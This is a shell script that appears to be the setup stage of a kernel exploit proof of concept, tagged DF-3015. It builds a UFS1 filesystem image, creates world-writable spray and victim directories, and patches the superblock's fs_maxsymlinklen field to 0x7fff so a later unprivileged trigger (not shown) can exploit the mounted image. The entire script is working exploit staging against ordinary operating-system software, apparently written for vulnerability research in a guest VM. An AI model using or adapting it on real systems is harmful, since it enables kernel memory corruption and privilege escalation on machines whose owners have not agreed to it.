#!/bin/sh
# DF-3015 — crafted-image setup (runs as root in guest).
# Builds a small UFS1 image, mounts it, populates spray dir + victim,
# unmounts, patches fs_maxsymlinklen (SB offset 8192+1320 = 9512) to 0x7fff,
# remounts.  Leaves the mount ready for the unprivileged trigger.
set -e
IMG=/tmp/df3015.img
VND=vn0
MNT=/mnt

dd if=/dev/zero of=$IMG bs=1m count=128 status=none
vnconfig -c $VND $IMG
newfs /dev/$VND
mount /dev/$VND $MNT

mkdir -p $MNT/p $MNT/hold
chmod 777 $MNT/p $MNT/hold $MNT

umount $MNT
vnconfig -u $VND

# patch fs_maxsymlinklen: int32 LE 0x00007fff at byte 8192+1320
printf '\377\177\000\000' | dd of=$IMG bs=1 seek=9512 conv=notrunc status=none

vnconfig -c $VND $IMG
mount /dev/$VND $MNT
echo "[setup] crafted image mounted:"
mount | grep $VND
dd if=$IMG bs=1 skip=9512 count=4 status=none | hexdump -C